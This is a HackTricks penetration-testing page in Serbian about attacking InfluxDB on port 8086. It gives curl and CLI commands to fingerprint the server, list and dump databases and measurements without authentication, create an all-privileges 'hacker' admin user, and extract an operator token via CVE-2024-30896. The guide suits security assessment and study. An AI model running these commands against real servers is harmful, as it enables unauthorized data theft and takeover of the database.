8086 - Pentesting InfluxDB
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
InfluxDB je baza vremenskih serija otvorenog koda (TSDB) koju razvija InfluxData. TSDB-ovi su optimizovani za čuvanje i pružanje podataka vremenskih serija, koji se sastoje od parova vremenske oznake i vrednosti. U poređenju sa opštenamenskim bazama podataka, TSDB-ovi pružaju značajna poboljšanja u pogledu prostora za skladištenje i performansi za skupove podataka vremenskih serija. Koriste specijalizovane algoritme za kompresiju i mogu se konfigurisati da automatski uklanjaju stare podatke. Specijalizovani indeksi baze podataka takođe poboljšavaju performanse upita.
Podrazumevani port: 8086
PORT STATE SERVICE VERSION
8086/tcp open http InfluxDB http admin 1.7.5
Identifikacija i verzija (HTTP)
- v1.x:
GET /pingvraća status 204 i header-e poputX-Influxdb-VersioniX-Influxdb-Build. - v2.x+:
GET /healthvraća JSON sa verzijom servera i statusom. Radi bez auth.
# v1 banner grab
curl -i http://<host>:8086/ping
# v2/compat health
curl -s http://<host>:8086/health | jq .
Napomena: izložene instance često takođe izlažu Prometheus-style metrics na /metrics.
Enumeracija
Sa aspekta pentestera, ovo je još jedna baza podataka koja može čuvati osetljive informacije, pa je korisno znati kako dump-ovati sve podatke.
Autentifikacija
InfluxDB može zahtevati autentifikaciju ili možda ne.
# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal
Ako dobijete grešku poput ove: ERR: unable to parse authentication credentials to znači da očekuje neke kredencijale.
influx –username influx –password influx_pass
Postojala je ranjivost u influxdb koja je omogućavala zaobilaženje autentifikacije: CVE-2019-20933
Ručna enumeracija (v1 HTTP API / InfluxQL)
Čak i kada CLI nije dostupan, HTTP API je obično izložen na portu 8086.
# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"
# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"
# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"
# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"
# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"
# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .
# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'
Warning
U nekim testiranjima sa authentication bypass primećeno je da ime tabele mora biti između dvostrukih navodnika kao:
select * from "cpu"
Ako je authentication onemogućen, možete čak kreirati korisnike i escalate:
# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"
Informacije iz sledećeg CLI primera preuzete su sa here.
Prikaži baze podataka
Pronađene baze podataka su telegraf i internal (ovu ćete naći svuda)
> show databases
name: databases
name
----
telegraf
_internal
Prikaži tabele/measurements
InfluxDB documentation objašnjava da se measurements u InfluxDB mogu uporediti sa SQL tabelama. Nomenklatura tih measurements ukazuje na njihov sadržaj — svaka sadrži podatke relevantne za određeni entitet.
> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system
Prikaži kolone/ključeve polja
Ključevi polja su kao kolone baze podataka
> show field keys
name: cpu
fieldKey fieldType
-------- ---------
usage_guest float
usage_guest_nice float
usage_idle float
usage_iowait float
name: disk
fieldKey fieldType
-------- ---------
free integer
inodes_free integer
inodes_total integer
inodes_used integer
[ ... more keys ...]
Dump Table
I na kraju, možete dump the table koristeći nešto poput
select * from cpu
name: cpu
time cpu host usage_guest usage_guest_nice usage_idle usage_iowait usage_irq usage_nice usage_softirq usage_steal usage_system usage_user
---- --- ---- ----------- ---------------- ---------- ------------ --------- ---------- ------------- ----------- ------------ ----------
1497018760000000000 cpu-total ubuntu 0 0 99.297893681046 0 0 0 0 0 0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
InfluxDB v2.x API (Token-based)
InfluxDB 2.x uvodi token-based auth i novi API (i dalje na 8086 po defaultu). Ako dobijete token (leaked logs, default deployments, backups) možete da izlistate:
# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"
# Health & version
curl -s http://<host>:8086/health | jq .
# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .
# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .
# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .
# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'
Napomene
- Za v1.8+, postoje neki v2-compatible endpoints (
/api/v2/query,/api/v2/write,/health). Ovo je korisno ako je server v1 ali prihvata v2-style requests. - U v2, HTTP
Authorizationheader mora biti u oblikuToken <value>.
Automatizovana enumeracija
msf6 > use auxiliary/scanner/http/influxdb_enum
Nedavne ranjivosti i privesc od interesa (poslednjih godina)
- InfluxDB OSS 2.x do 2.7.11 — izloženost operator tokena (CVE-2024-30896). Pod određenim uslovima, autentifikovani korisnik sa read pristupom autorizacionom resursu u default organization mogao je da izlista i preuzme operator token koji važi za celu instancu (npr. preko
influx auth lsiliGET /api/v2/authorizations). Sa tim tokenom, napadač može upravljati instancom (buckets, tokens, users) i pristupiti svim podacima u svim orgs. Nadogradite na ispravljeni build kad bude dostupan i izbegavajte stavljanje regularnih korisnika u default org. Brzi test:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
- Mnoge legacy 1.x instalacije i dalje izlažu
/queryi/writeneautentifikovano na Internetu. Ako je auth onemogućen, možete dumpovati ili čak izmeniti time-series po volji; takođe možete kreirati admin korisnike kao što je prikazano gore. Uvek proverite preko HTTP API čak i ako vas CLI blokira.
Reference
- InfluxData dokumentacija: InfluxDB v1/v2 HTTP API reference (endpoints like
/ping,/health,/query,/api/v2/authorizations). https://docs.influxdata.com/influxdb/v1/tools/api/ - CVE-2024-30896: izlaganje operator tokena u InfluxDB OSS 2.x. https://www.wiz.io/vulnerability-database/cve/cve-2024-30896
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks

